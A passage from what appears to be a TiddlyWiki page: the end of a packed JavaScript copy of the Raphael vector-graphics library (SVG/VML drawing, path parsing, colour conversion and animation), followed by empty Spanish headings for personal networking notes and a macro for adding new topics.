p={},3D=[0,1,2,3,"s",5,"c"];J d=3D[P.14];K(9.18){d=d.30()}1m(J i=0,1p=P.14;i<1p;i++){d+=19(P[i],10).1O(3)+" "}9.13.x=(9.18?0:9.13.x)+19(P[P.14-2],10);9.13.y=(9.18?0:9.13.y)+19(P[P.14-1],10);9.13.1S=19(P[P.14-4],10);9.13.1T=19(P[P.14-3],10);J a=9.1c.2S("d")||"";9.1c.1a("d",a+d);9.O.1f=a+d;11 9};p.3J=N(){J p={},3D=[0,1,"t",3,"q"];J d=3D[P.14];K(9.18){d=d.30()}1m(J i=0,1p=P.14;i<1p;i++){d+=19(P[i],10).1O(3)+" "}9.13.x=(9.18?0:9.13.x)+19(P[P.14-2],10);9.13.y=(9.18?0:9.13.y)+19(P[P.14-1],10);K(P.14!=2){9.13.3a=19(P[P.14-4],10);9.13.39=19(P[P.14-3],10)}J a=9.1c.2S("d")||"";9.1c.1a("d",a+d);9.O.1f=a+d;11 9};p.4X=N(r,a){J R=.4V*r,2u=9.18,o=9;K(2u){9.3O();2u=N(){o.3g()}}1l{2u=N(){}}J b={l:N(){11{u:N(){o.1J(-R,0,-r,-(r-R),-r,-r)},d:N(){o.1J(-R,0,-r,r-R,-r,r)}}},r:N(){11{u:N(){o.1J(R,0,r,-(r-R),r,-r)},d:N(){o.1J(R,0,r,r-R,r,r)}}},u:N(){11{r:N(){o.1J(0,-R,-(R-r),-r,r,-r)},l:N(){o.1J(0,-R,R-r,-r,-r,-r)}}},d:N(){11{r:N(){o.1J(0,R,-(R-r),r,r,r)},l:N(){o.1J(0,R,R-r,r,-r,r)}}}};b[a[0]]()[a[1]]();2u();11 o};p.4h=N(){J a=9[0].2S("d")||"";9[0].1a("d",a+"Z ");9.O.1f=a+"Z ";11 9};K(1s h=="2e"){p.O.1f=h;p.3g();C.3B(p,h)}K(g){v(p,g)}11 p};J z=N(o,a,b){J c=1i.25(b.1Y,a.1o+"5F");c.2N="59-2A-"+b.47++;K(a.2j&&a.2j.14){c.1a("5J",a.2j[0]);c.1a("3j",a.2j[1]);c.1a("5K",a.2j[2]);c.1a("5L",a.2j[3])}b.3t.1j(c);1m(J i=0,1p=a.1H.14;i<1p;i++){J d=1i.25(b.1Y,"3Q");d.1a("3k",a.1H[i].3k?a.1H[i].3k:(i==0)?"0%":"2g%");d.1a("3Q-2q",a.1H[i].2q||"#52");K(1s a.1H[i].1w!="1L"){d.1a("3Q-1w",a.1H[i].1w)}c.1j(d)};o.1a("1u","3h(#"+c.2N+")")};J I=N(o){K(o.3q){J a=o.1c.3n();o.3q.1a("5M","2E("+[a.x,a.y].1z(",")+")")}};J v=N(o,c){J d={"-":[3,1],".":[1,1],"-.":[3,1,1,1],"-..":[3,1,1,1,1,1],". ":[1,3],"- ":[4,3],"--":[8,3],"- .":[4,3,1,3],"--.":[8,3,1,3],"--..":[8,3,1,3,1,3]},4a=N(o,a){a=d[a.2L().2Q()];K(a){J b=o.O["1g-17"]||"1",3e={1d:b,41:b,3e:0}[o.O["1g-3v"]||c["1g-3v"]]||0,4d=[];1m(J i=0,1p=a.14;i<1p;i++){4d.2k(a[i]*b+((i%2)?1:-1)*3e)}a=4d.1z(",");o.1c.1a("1g-2K",a)}};1m(J e 1K c){J f=c[e];o.O[e]=f;27(e){1e"1f":K(o.1o=="1f"){o.1c.1a("d","4c,0");C.3B(o,f)}1e"28":1e"1F":1e"x":o.1c.1a(e,f);I(o);1h;1e"2d":1e"1E":1e"y":o.1c.1a(e,f);I(o);1h;1e"17":o.1c.1a(e,f);1h;1e"1b":o.1c.1a(e,f);1h;1e"2A":z(o.1c,f,o.2a);1h;1e"1g-17":o.1c.1q.5P=f;o.1c.1a(e,f);K(o.O["1g-2K"]){4a(o,o.O["1g-2K"])}1h;1e"1g-2K":4a(o,f);1h;1e"2b":K(o.1o=="2b"){o.1c.3p.14&&o.1c.2v(o.1c.2h);o.1c.1j(1i.4Z(f))}1h;1e"2P":o.3F(f,1V);1h;1e"2x":J g=f.2n(/[, ]+/);o.2E(g[0],g[1]);1h;1e"2z":J g=f.2n(/[, ]+/);o.2z(g[0],g[1]);1h;1e"1u":J h=f.4q(/^3h\\(([^\\)]+)\\)$/i);K(h){J j=1i.25(o.2a.1Y,"3q");J k=1i.25(o.2a.1Y,"2o");j.2N="59-3q-"+o.2a.47++;j.1a("x",0);j.1a("y",0);j.1a("5R","5S");k.1a("x",0);k.1a("y",0);k.4Y(o.2a.3U,"4S",h[1]);j.1j(k);J l=1i.1B("5V");l.1q.2C="2M";l.1q.1A="-4Q";l.1q.1X="-4Q";l.5X=N(){j.1a("17",9.4K);j.1a("1b",9.4J);k.1a("17",9.4K);k.1a("1b",9.4J);1i.3C.2v(9);C.3M()};1i.3C.1j(l);l.3S=h[1];o.2a.3t.1j(j);o.1c.1q.1u="3h(#"+j.2N+")";o.1c.1a("1u","3h(#"+j.2N+")");o.3q=j;I(o);1h}2D:J m=e.4k(/(\\-.)/g,N(w){11 w.1U(1).30()});o.1c.1q[m]=f;o.1c.1a(e,f);1h}}};J A=N(a,b){J X=0,Y=0;9[0]=a;9.1c=a;9.2a=b;9.O=9.O||{};9.2t=[];9.1n={2W:0,2Z:0,2i:{36:0,x:0,y:0},2w:1,2J:1}};A.1v.2E=N(x,y){K(x==1L&&y==1L){11{x:9.1n.2W,y:9.1n.2Z}}9.1n.2W+=+x;9.1n.2Z+=+y;27(9.1o){1e"31":1e"2U":9.1t({1F:9.O.1F+x,1E:9.O.1E+y});1h;1e"2l":1e"2o":1e"2b":9.1t({x:9.O.x+x,y:9.O.y+y});1h;1e"1f":J a=1r.3o(9.O.1f);a[0][1]+=+x;a[0][2]+=+y;9.1t({1f:a.1z(" ")});1h}11 9};A.1v.3F=N(a,b){K(a==1L){11 9.1n.2i.36}J c=9.3n();K(b){9.1n.2i.36=a}1l{9.1n.2i.36+=a}K(9.1n.2i.36){9.2t[0]=("3F("+9.1n.2i.36+" "+(c.x+c.17/2)+" "+(c.y+c.1b/2)+")")}1l{9.2t[0]=""}9.1c.1a("4m",9.2t.1z(" "));11 9};A.1v.4E=N(){9.1c.1q.3R="23";11 9};A.1v.4F=N(){9.1c.1q.3R="4G";11 9};A.1v.3m=N(){9.1c.1I.2v(9.1c)};A.1v.3n=N(){11 9.1c.3n()};A.1v.1t=N(){K(P.14==1&&1s P[0]=="2e"){K(P[0]=="2x"){11 9.2E()}11 9.O[P[0]]}K(P.14==1&&P[0]4H 3d){J a={};1m(J j 1K P[0]){a[P[0][j]]=9.O[P[0][j]]}11 a}K(P.14==2){J b={};b[P[0]]=P[1];v(9,b)}1l K(P.14==1&&1s P[0]=="2R"){v(9,P[0])}11 9};A.1v.4L=N(){9.1c.1I.1j(9.1c);11 9};A.1v.4M=N(){K(9.1c.1I.2h!=9.1c){9.1c.1I.2Y(9.1c,9.1c.1I.2h)}11 9};J B=N(a,x,y,r){J b=1i.25(a.1Y,"31");b.1a("1F",x);b.1a("1E",y);b.1a("r",r);b.1a("1u","23");b.1a("1g","#1P");K(a.1k){a.1k.1j(b)}J c=1N A(b,a);c.O=c.O||{};c.O.1F=x;c.O.1E=y;c.O.r=r;c.O.1g="#1P";c.1o="31";11 c};J D=N(a,x,y,w,h,r){J b=1i.25(a.1Y,"2l");b.1a("x",x);b.1a("y",y);b.1a("17",w);b.1a("1b",h);K(r){b.1a("28",r);b.1a("2d",r)}b.1a("1u","23");b.1a("1g","#1P");K(a.1k){a.1k.1j(b)}J c=1N A(b,a);c.O=c.O||{};c.O.x=x;c.O.y=y;c.O.17=w;c.O.1b=h;c.O.1g="#1P";K(r){c.O.28=c.O.2d=r}c.1o="2l";11 c};J E=N(a,x,y,b,c){J d=1i.25(a.1Y,"2U");d.1a("1F",x);d.1a("1E",y);d.1a("28",b);d.1a("2d",c);d.1a("1u","23");d.1a("1g","#1P");K(a.1k){a.1k.1j(d)}J e=1N A(d,a);e.O=e.O||{};e.O.1F=x;e.O.1E=y;e.O.28=b;e.O.2d=c;e.O.1g="#1P";e.1o="2U";11 e};J F=N(a,b,x,y,w,h){J c=1i.25(a.1Y,"2o");c.1a("x",x);c.1a("y",y);c.1a("17",w);c.1a("1b",h);c.1a("62","23");c.4Y(a.3U,"4S",b);K(a.1k){a.1k.1j(c)}J d=1N A(c,a);d.O=d.O||{};d.O.x=x;d.O.y=y;d.O.17=w;d.O.1b=h;d.1o="2o";11 d};J G=N(a,x,y,b){J c=1i.25(a.1Y,"2b");c.1a("x",x);c.1a("y",y);c.1a("2b-63","5l");c.1a("1u","#1P");K(b){c.1j(1i.4Z(b))}K(a.1k){a.1k.1j(c)}J d=1N A(c,a);d.O=d.O||{};d.O.x=x;d.O.y=y;d.O.1u="#1P";d.1o="2b";11 d};J H=N(a){J b=1i.25(a.1Y,"g");K(a.1k){a.1k.1j(b)}J i=1N A(b,a);1m(J f 1K a){K(f[0]!="1n"&&1s a[f]=="N"){i[f]=(N(f){11 N(){J e=a[f].2y(a,P);b.1j(e[0]);11 e}})(f)}}i.1o="2f";11 i};r.45=N(){K(1s P[0]=="2e"){J a=1i.56(P[0]);J b=P[1];J c=P[2]}K(1s P[0]=="2R"){J a=P[0];J b=P[1];J c=P[2]}K(1s P[0]=="1M"){J a=1,x=P[0],y=P[1],b=P[2],c=P[3]}K(!a){58 1N 5a("2O 5b 5d 5e.");}C.1k=1i.25(C.1Y,"2a");C.1k.1a("17",b||4x);C.17=b||4x;C.1k.1a("1b",c||4w);C.1b=c||4w;K(a==1){1i.3C.1j(C.1k);C.1k.1q.2C="2M";C.1k.1q.1X=x+"1G";C.1k.1q.1A=y+"1G"}1l{K(a.2h){a.2Y(C.1k,a.2h)}1l{a.1j(C.1k)}}a={1k:C.1k,46:N(){4u(9.1k.2h){9.1k.2v(9.1k.2h)}9.3t=1i.25(C.1Y,"3t");9.47=0;9.1k.1j(9.3t)}};1m(J d 1K C){K(d!="68"){a[d]=C[d]}}a.46();11 a};C.3m=N(){C.1k.1I.2v(C.1k)};C.1Y="4P://4t.4v.4z/6f/2a";C.3U="4P://4t.4v.4z/6g/3U"}K(n=="3y"||n=="2O"){C.31=N(x,y,r){11 B(9,x,y,r)};C.2l=N(x,y,w,h,r){11 D(9,x,y,w,h,r)};C.2U=N(x,y,a,b){11 E(9,x,y,a,b)};C.1f=N(a,b){11 u(a,b,9)};C.2o=N(a,x,y,w,h){11 F(9,a,x,y,w,h)};C.2b=N(x,y,a){11 G(9,x,y,a)};C.2f=N(){11 H(9)};C.6h=N(x,y,w,h,a,b,c){c=c||"#1P";J p=9.1f({1g:c,"1g-17":1}).3f(x,y).24(x+w,y).24(x+w,y+h).24(x,y+h).24(x,y),4o=h/b,4n=w/a;1m(J i=1;i<b;i++){p.3f(x,y+i*4o).24(x+w,y+i*4o)}1m(J i=1;i<a;i++){p.3f(x+i*4n,y).24(x+i*4n,y+h)}11 p};C.3M=N(){K(r.1o=="2O"){J a=C.2l(-C.17,-C.1b,C.17*3,C.1b*3).1t({1g:"23"});4A(N(){a.3m()},0)}};A.1v.3Q=N(){4l(9.3N)};A.1v.2z=N(x,y){K(x==1L&&y==1L){11{x:9.1n.2w,y:9.1n.2J}}y=y||x;J a,2V,1F,1E;K(x!=0&&!(x==1&&y==1)){J b=15.1d(x/15.44(x)),2c=15.1d(y/15.44(y)),s=9.1c.1q;a=9.1t("x");2V=9.1t("y");1F=9.1t("1F");1E=9.1t("1E");K(b!=1||2c!=1){K(9.2t){9.2t[2]="2z("+[b,2c]+")";9.1c.1a("4m",9.2t.1z(" "));a=(b<0)?-9.1t("x")-9.O.17*x*b/9.1n.2w:9.1t("x");2V=(2c<0)?-9.1t("y")-9.O.1b*y*2c/9.1n.2J:9.1t("y");1F=9.1t("1F")*b;1E=9.1t("1E")*2c}1l{9.1c.3u=" 4D:4C.4B.6m(6n="+b+", 6o=0, 6p=0, 6q="+2c+", 6r=0, 6s=0, 6t=\'6u 6v\', 6w=\'6x\')";s.4p=(9.1c.3u||"")+(9.1c.3P||"")}}1l{K(9.2t){9.2t[2]="";9.1c.1a("4m",9.2t.1z(" "))}1l{9.1c.3u="";s.4p=(9.1c.3u||"")+(9.1c.3P||"")}}27(9.1o){1e"2l":1e"2o":9.1t({17:9.O.17*x*b/9.1n.2w,1b:9.O.1b*y*2c/9.1n.2J,x:a,y:2V});1h;1e"31":1e"2U":9.1t({28:9.O.28*x*b/9.1n.2w,2d:9.O.2d*y*2c/9.1n.2J,r:9.O.r*x*2c/9.1n.2w,1F:1F,1E:1E});1h;1e"1f":J c=1r.3o(1r.32(9.1t("1f"))),4j=1V,2X=1r.3K(9.O.1f),a=-2X.17*(x-1)/2,2V=-2X.1b*(y-1)/2;1m(J i=0,1p=c.14;i<1p;i++){K(c[i][0].30()=="M"&&4j){4N}1l{4j=34}K(c[i][0].30()=="A"){c[i][c[i].14-2]*=x*b;c[i][c[i].14-1]*=y*2c}1l{1m(J j=1,1Z=c[i].14;j<1Z;j++){c[i][j]*=(j%2)?x*b/9.1n.2w:y*2c/9.1n.2J}}}J d=1r.3K(c),a=2X.x+2X.17/2-d.x-d.17/2,2V=2X.y+2X.1b/2-d.y-d.1b/2;c=1r.3o(c);c[0][1]+=a;c[0][2]+=2V;9.1t({1f:c.1z(" ")})}}9.1n.2w=x;9.1n.2J=y;11 9};A.1v.6A=N(c,d,e){4l(9.3N);J f={},2F={},1R={},t={x:0,y:0};1m(J g 1K c){K(g 1K 3X){f[g]=9.1t(g);K(1s f[g]=="1L"){f[g]=q[g]}2F[g]=c[g];27(3X[g]){1e"1M":1R[g]=(2F[g]-f[g])/d;1h;1e"3T":f[g]=1r.4i(f[g]);J h=1r.4i(2F[g]);1R[g]={r:(h.r-f[g].r)/d,g:(h.g-f[g].g)/d,b:(h.b-f[g].b)/d};1h;1e"1f":J k=1r.4R(f[g],2F[g]);f[g]=k[0];2F[g]=k[1];1R[g]=[];1m(J i=0,1p=f[g].14;i<1p;i++){1R[g][i]=[0];1m(J j=1,1Z=f[g][i].14;j<1Z;j++){1R[g][i][j]=(2F[g][i][j]-f[g][i][j])/d}}1h;1e"3I":J l=c[g].2n(/[, ]+/);K(g=="2x"){f[g]=[0,0];1R[g]=[l[0]/d,l[1]/d]}1l{f[g]=f[g].2n(/[, ]+/);1R[g]=[(l[0]-f[g][0])/d,(l[1]-f[g][0])/d]}2F[g]=l}}}J m=1N 4T(),3W=0,2T=9;(N(){J a=(1N 4T()).4U()-m.4U(),3H={},21;K(a<d){1m(J b 1K f){27(3X[b]){1e"1M":21=+f[b]+a*1R[b];1h;1e"3T":21="4g("+[15.1d(f[b].r+a*1R[b].r),15.1d(f[b].g+a*1R[b].g),15.1d(f[b].b+a*1R[b].b)].1z(",")+")";1h;1e"1f":21=[];1m(J i=0,1p=f[b].14;i<1p;i++){21[i]=[f[b][i][0]];1m(J j=1,1Z=f[b][i].14;j<1Z;j++){21[i][j]=f[b][i][j]+a*1R[b][i][j]}21[i]=21[i].1z(" ")}21=21.1z(" ");1h;1e"3I":K(b=="2x"){J x=1R[b][0]*(a-3W),y=1R[b][1]*(a-3W);t.x+=x;t.y+=y;21=[x,y].1z(" ")}1l{21=[+f[b][0]+a*1R[b][0],+f[b][1]+a*1R[b][1]].1z(" ")}1h}K(b=="22-3z"){3H[b]=21+"1G"}1l{3H[b]=21}}2T.1t(3H);2T.3N=4A(P.3Z,0);C.3M()}1l{K(t.x||t.y){2T.2E(-t.x,-t.y)}2T.1t(c);4l(2T.3N);C.3M();(1s e=="N")&&e.3c(2T)}3W=a})();11 9};A.1v.6F=N(a){K(a.1c.4W){a.1c.1I.2Y(9.1c,a.1c.4W)}1l{a.1c.1I.1j(9.1c)}};A.1v.2Y=N(a){a.1c.1I.2Y(9.1c,a.1c)};C.3B=N(p,g){J h={M:N(x,y){9.3f(x,y)},C:N(a,b,c,d,e,f){9.1J(a,b,c,d,e,f)},Q:N(a,b,c,d){9.3J(a,b,c,d)},T:N(x,y){9.3J(x,y)},S:N(a,b,c,d){p.1J(a,b,c,d)},L:N(x,y){p.24(x,y)},H:N(x){9.24(x,9.13.y)},V:N(y){9.24(9.13.x,y)},A:N(a,b,c,d,e,x,y){9.49(a,b,d,e,x,y)},Z:N(){9.4h()}};g=1r.3x(g);1m(J i=0,1p=g.14;i<1p;i++){J b=g[i].6J();h[b].2y(p,g[i])}};11 r}1l{11 N(){}}})((!50.6L)?"3y":"2O");1r.1Q=!(1r.2a=(1r.1o=="2O"));K(1r.1Q&&50.6M){1r.1o="6N 6O";1r.1Q=1r.2a=34}1r.2L=N(){11"6P 6Q "+(9.1Q?"6R\'t ":"")+"6T"+(9.2a?"s":"")+" 2O.\\6U 6V 6W "+6X("71%72%20")+9.5g};1r.3E=N(a,c,d){K(1s a=="2R"&&"h"1K a&&"s"1K a&&"b"1K a){d=a.b;c=a.s;a=a.h}J e,1D,1C;K(d==0){11{r:0,g:0,b:0,3V:"#1P"}}1l{J i=15.74(a*6),f=(a*6)-i,p=d*(1-c),q=d*(1-(c*f)),t=d*(1-(c*(1-f)));[N(){e=d;1D=t;1C=p},N(){e=q;1D=d;1C=p},N(){e=p;1D=d;1C=t},N(){e=p;1D=q;1C=d},N(){e=t;1D=p;1C=d},N(){e=d;1D=p;1C=q},N(){e=d;1D=t;1C=p}][i]()}J h={r:e,g:1D,b:1C};e*=37;1D*=37;1C*=37;J r=15.1d(e).2L(16);K(r.14==1){r="0"+r}J g=15.1d(1D).2L(16);K(g.14==1){g="0"+g}J b=15.1d(1C).2L(16);K(b.14==1){b="0"+b}h.3V="#"+r+g+b;11 h};1r.76=N(a,b,c){K(1s a=="2R"&&"r"1K a&&"g"1K a&&"b"1K a){c=a.b;b=a.g;a=a.r}K(1s a=="2e"&&a.3G(0)=="#"){K(a.14==4){c=1y(a.1U(3),16);b=1y(a.1U(2,3),16);a=1y(a.1U(1,2),16)}1l{c=1y(a.1U(5),16);b=1y(a.1U(3,5),16);a=1y(a.1U(1,3),16)}}K(a>1||b>1||c>1){a/=37;b/=37;c/=37}J d=15.3Y(a,b,c),33=15.33(a,b,c),2m,48,53=d;K(33==d){11{h:0,s:0,b:d}}1l{J e=(d-33);48=e/d;K(a==d){2m=(b-c)/e}1l K(b==d){2m=2+((c-a)/e)}1l{2m=4+((a-b)/e)}2m/=6;K(2m<0){2m+=1}K(2m>1){2m-=1}}11{h:2m,s:48,b:53}};1r.4i=N(a){J c,1D,1C,d=a.4q(/^\\s*((#[a-f\\d]{6})|(#[a-f\\d]{3})|4g\\(\\s*(\\d+,\\s*\\d+,\\s*\\d+)\\s*\\)|4g\\(\\s*(\\d+%,\\s*\\d+%,\\s*\\d+%)\\s*\\)|54\\(\\s*(\\d+,\\s*\\d+,\\s*\\d+)\\s*\\)|54\\(\\s*(\\d+%,\\s*\\d+%,\\s*\\d+%)\\s*\\))\\s*$/i);K(d){K(d[2]){1C=1y(d[2].1U(5),16);1D=1y(d[2].1U(3,5),16);c=1y(d[2].1U(1,3),16)}K(d[3]){1C=1y(d[3].1U(3)+d[3].1U(3),16);1D=1y(d[3].1U(2,3)+d[3].1U(2,3),16);c=1y(d[3].1U(1,2)+d[3].1U(1,2),16)}K(d[4]){d=d[4].2n(/\\s*,\\s*/);c=1y(d[0],10);1D=1y(d[1],10);1C=1y(d[2],10)}K(d[5]){d=d[5].2n(/\\s*,\\s*/);c=1y(d[0],10)*2.55;1D=1y(d[1],10)*2.55;1C=1y(d[2],10)*2.55}K(d[6]){d=d[6].2n(/\\s*,\\s*/);c=1y(d[0],10);1D=1y(d[1],10);1C=1y(d[2],10);11 9.3E(c,1D,1C)}K(d[7]){d=d[7].2n(/\\s*,\\s*/);c=1y(d[0],10)*2.55;1D=1y(d[1],10)*2.55;1C=1y(d[2],10)*2.55;11 9.3E(c,1D,1C)}J d={r:c,g:1D,b:1C};J r=15.1d(c).2L(16);(r.14==1)&&(r="0"+r);J g=15.1d(1D).2L(16);(g.14==1)&&(g="0"+g);J b=15.1d(1C).2L(16);(b.14==1)&&(b="0"+b);d.3V="#"+r+g+b;11 d}};1r.5c=N(a){J b=P.3Z.2p=P.3Z.2p||{h:0,s:1,b:a||.75};J c=9.3E(b.h,b.s,b.b);b.h+=.7a;K(b.h>1){b.h=0;b.s-=.2;K(b.s<=0){P.3Z.2p={h:0,s:1,b:b.b}}}11 c.3V};1r.5c.7c=N(){9.2p=1L};1r.32=N(e){J f={a:7,c:6,h:1,l:2,m:2,q:4,s:4,t:2,v:1,z:0};J g=[];e.4k(/([7d])\\s*((-?\\d*\\.?\\d*\\s*,?\\s*)+)/5i,N(a,b,c){J d=[],3L=b.2Q();c.4k(/(-?\\d*\\.?\\d*)\\s*,?\\s*/5i,N(a,b){b&&d.2k(+b)});4u(d.14>=f[3L]){g.2k([b].7f(d.2r(0,f[3L])));K(!f[3L]){1h}}});11 g};1r.3K=N(a){J b=a;K(1s a=="2e"){b=9.32(a)}b=9.3x(b);J x=[],y=[],14=0;1m(J i=0,1p=b.14;i<1p;i++){27(b[i][0]){1e"Z":1h;1e"A":x.2k(b[i][b[i].14-2]);y.2k(b[i][b[i].14-1]);1h;2D:1m(J j=1,1Z=b[i].14;j<1Z;j++){K(j%2){x.2k(b[i][j])}1l{y.2k(b[i][j])}}}}J c=15.33.2y(15,x),43=15.33.2y(15,y);11{x:c,y:43,17:15.3Y.2y(15,x)-c,1b:15.3Y.2y(15,y)-43,X:x,Y:y}};1r.3o=N(a){J b=[];K(1s a=="2e"){a=9.32(a)}J x=0,y=0,2p=0;K(a[0][0]=="M"){x=a[0][1];y=a[0][2];2p++;b.2k(a[0])}1m(J i=2p,1p=a.14;i<1p;i++){b[i]=[];K(a[i][0]!=a[i][0].2Q()){b[i][0]=a[i][0].2Q();27(b[i][0]){1e"a":b[i][1]=a[i][1];b[i][2]=a[i][2];b[i][3]=0;b[i][4]=a[i][4];b[i][5]=a[i][5];b[i][6]=+(a[i][6]-x).1O(3);b[i][7]=+(a[i][7]-y).1O(3);1h;1e"v":b[i][1]=+(a[i][1]-y).1O(3);1h;2D:1m(J j=1,1Z=a[i].14;j<1Z;j++){b[i][j]=+(a[i][j]-((j%2)?x:y)).1O(3)}}}1l{b[i]=a[i]}27(b[i][0]){1e"z":1h;1e"h":x+=b[i][b[i].14-1];1h;1e"v":y+=b[i][b[i].14-1];1h;2D:x+=b[i][b[i].14-2];y+=b[i][b[i].14-1]}}11 b};1r.3x=N(a){J b=[];K(1s a=="2e"){a=9.32(a)}J x=0,y=0,2p=0;K(a[0][0]=="M"){x=+a[0][1];y=+a[0][2];2p++;b[0]=a[0]}1m(J i=2p,1p=a.14;i<1p;i++){b[i]=[];K(a[i][0]!=a[i][0].30()){b[i][0]=a[i][0].30();27(b[i][0]){1e"A":b[i][1]=a[i][1];b[i][2]=a[i][2];b[i][3]=0;b[i][4]=a[i][4];b[i][5]=a[i][5];b[i][6]=+(a[i][6]+x).1O(3);b[i][7]=+(a[i][7]+y).1O(3);1h;1e"V":b[i][1]=+a[i][1]+y;1h;2D:1m(J j=1,1Z=a[i].14;j<1Z;j++){b[i][j]=+a[i][j]+((j%2)?x:y)}}}1l{b[i]=a[i]}27(b[i][0]){1e"Z":1h;1e"H":x=b[i][1];1h;1e"V":y=b[i][1];1h;2D:x=b[i][b[i].14-2];y=b[i][b[i].14-1]}}11 b};1r.4R=N(e,f){J g=[9.3x(9.32(e)),9.3x(9.32(f))],O=[{x:0,y:0,1S:0,1T:0,X:0,Y:0},{x:0,y:0,1S:0,1T:0,X:0,Y:0}],42=N(a,d){K(!a){11["U"]}27(a[0]){1e"M":d.X=a[1];d.Y=a[2];1h;1e"S":J b=d.x+(d.x-(d.1S||d.x));J c=d.y+(d.y-(d.1T||d.y));a=["C",b,c,a[1],a[2],a[3],a[4]];1h;1e"T":J b=d.x+(d.x-(d.1S||d.x));J c=d.y+(d.y-(d.1T||d.y));a=["Q",b,c,a[1],a[2]];1h;1e"H":a=["L",a[1],d.y];1h;1e"V":a=["L",d.x,a[1]];1h;1e"Z":a=["L",d.X,d.Y];1h}11 a},40=N(a,b,i){K(g[a][i][0]=="M"&&g[b][i][0]!="M"){g[b].2r(i,0,["M",O[b].x,O[b].y]);O[a].1S=g[a][i][g[a][i].14-4]||0;O[a].1T=g[a][i][g[a][i].14-3]||0;O[a].x=g[a][i][g[a][i].14-2];O[a].y=g[a][i][g[a][i].14-1];11 1V}1l K(g[a][i][0]=="L"&&g[b][i][0]=="C"){g[a][i]=["C",O[a].x,O[a].y,g[a][i][1],g[a][i][2],g[a][i][1],g[a][i][2]]}1l K(g[a][i][0]=="L"&&g[b][i][0]=="Q"){g[a][i]=["Q",g[a][i][1],g[a][i][2],g[a][i][1],g[a][i][2]]}1l K(g[a][i][0]=="Q"&&g[b][i][0]=="C"){J x=g[b][i][g[b][i].14-2];J y=g[b][i][g[b][i].14-1];g[b].2r(i+1,0,["Q",x,y,x,y]);g[a].2r(i,0,["C",O[a].x,O[a].y,O[a].x,O[a].y,O[a].x,O[a].y]);i++;O[b].1S=g[b][i][g[b][i].14-4]||0;O[b].1T=g[b][i][g[b][i].14-3]||0;O[b].x=g[b][i][g[b][i].14-2];O[b].y=g[b][i][g[b][i].14-1];11 1V}1l K(g[a][i][0]=="A"&&g[b][i][0]=="C"){J x=g[b][i][g[b][i].14-2];J y=g[b][i][g[b][i].14-1];g[b].2r(i+1,0,["A",0,0,g[a][i][3],g[a][i][4],g[a][i][5],x,y]);g[a].2r(i,0,["C",O[a].x,O[a].y,O[a].x,O[a].y,O[a].x,O[a].y]);i++;O[b].1S=g[b][i][g[b][i].14-4]||0;O[b].1T=g[b][i][g[b][i].14-3]||0;O[b].x=g[b][i][g[b][i].14-2];O[b].y=g[b][i][g[b][i].14-1];11 1V}1l K(g[a][i][0]=="U"){g[a][i][0]=g[b][i][0];1m(J j=1,1Z=g[b][i].14;j<1Z;j++){g[a][i][j]=(j%2)?O[a].x:O[a].y}}11 34};1m(J i=0;i<15.3Y(g[0].14,g[1].14);i++){g[0][i]=42(g[0][i],O[0]);g[1][i]=42(g[1][i],O[1]);K(g[0][i][0]!=g[1][i][0]&&(40(0,1,i)||40(1,0,i))){4N}O[0].1S=g[0][i][g[0][i].14-4]||0;O[0].1T=g[0][i][g[0][i].14-3]||0;O[0].x=g[0][i][g[0][i].14-2];O[0].y=g[0][i][g[0][i].14-1];O[1].1S=g[1][i][g[1][i].14-4]||0;O[1].1T=g[1][i][g[1][i].14-3]||0;O[1].x=g[1][i][g[1][i].14-2];O[1].y=g[1][i][g[1][i].14-1]}11 g};',62,454,'|||||||||this||||||||||||||||||||||||||||||||||||var|if|||function|attrs|arguments||||||||||||return||last|length|Math||width|isAbsolute|parseFloat|setAttribute|height|node|round|case|path|stroke|break|document|appendChild|canvas|else|for|_|type|ii|style|Raphael|typeof|attr|fill|prototype|opacity|rvml|parseInt|join|top|createElement|blue|green|cy|cx|px|dots|parentNode|curveTo|in|undefined|number|new|toFixed|000|vml|diff|bx|by|substring|true|Group|left|svgns|jj||now|font|none|lineTo|createElementNS|cs|switch|rx||svg|text|diry|ry|string|group|100|firstChild|rt|vector|push|rect|hue|split|image|start|color|splice|on|transformations|rollback|removeChild|sx|translation|apply|scale|gradient|Path|position|default|translate|to|setBox|shape|os|sy|dasharray|toString|absolute|id|SVG|rotation|toLowerCase|object|getAttribute|that|ellipse|dy|tx|dim|insertBefore|ty|toUpperCase|circle|parsePathString|min|false|gs|deg|255|els|qy|qx|gl|call|Array|butt|moveTo|absolutely|url|ol|y1|offset|coordsize|remove|getBBox|pathToRelative|childNodes|pattern|coordorigin|getElementsByTagName|defs|filterMatrix|linecap|rs|pathToAbsolute|VML|size|bs|pathfinder|body|command|hsb2rgb|rotate|charAt|set|csv|qcurveTo|pathDimensions|name|safari|animation_in_progress|relatively|filterOpacity|stop|display|src|colour|xlink|hex|prev|availableAnimAttrs|max|callee|edgeCases|square|processPath|miny|abs|_create|clear|gradients|saturation|arcTo|addDashes|family|M0|dashes|linejoin|miterlimit|rgb|andClose|getRGB|skip|replace|clearTimeout|transform|columnWidth|rowHeight|filter|match|weight|textpath|www|while|w3|200|320|class|org|setTimeout|Microsoft|DXImageTransform|progid|hide|show|block|instanceof|miter|offsetHeight|offsetWidth|toFront|toBack|continue|oval|http|9999em|pathEqualiser|href|Date|getTime|5522|nextSibling|addRoundedCorner|setAttributeNS|createTextNode|window|Arial|fff|brightness|hsb||getElementById||throw|raphael|Error|container|getColor|not|found|namespaces|version|2px|ig|cplineTo|svgattr|middle|createStyleSheet|addRule|behavior|div|320px|microsoft|200px|ar|at|wr|wa|schemas|sqrt|clip|urn|relative|filled|stroked|add|Gradient|qb|opacity2|ps|x1|x2|y2|patternTransform|qcurve|arg|strokeWidth|slice|patternUnits|userSpaceOnUse|pos|arcsize|img|roundrect|onload|item|null|tagName|Alpha|preserveAspectRatio|anchor|com|fontFamily|fontSize|fontWeight|create|Scale|RotY|RotX|className|focusposition|focus|2000|1999|drawGrid|tile|radial|solid|joinstyle|Matrix|M11|M12|M21|M22|Dx|Dy|sizingmethod|auto|expand|filtertype|bilinear|270|endcap|animate|flat|shortdash|shortdot|shortdashdot|insertAfter|shortdashdotdot|dot|dash|shift|longdash|SVGAngle|CanvasRenderingContext2D|Canvas|only|Your|browser|doesn|dashdot|support|nYou|are|running|unescape|longdashdot|longdashdotdot|16px|Rapha|EBl|dashstyle|floor||rgb2hsb|angle|method|linear|075|gradientTitle|reset|achlmqstvz|color2|concat|atan|colors|value|textpathok'.split('|'),0,{}))
//}}}
!Descripción
Apuntes sobre redes
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
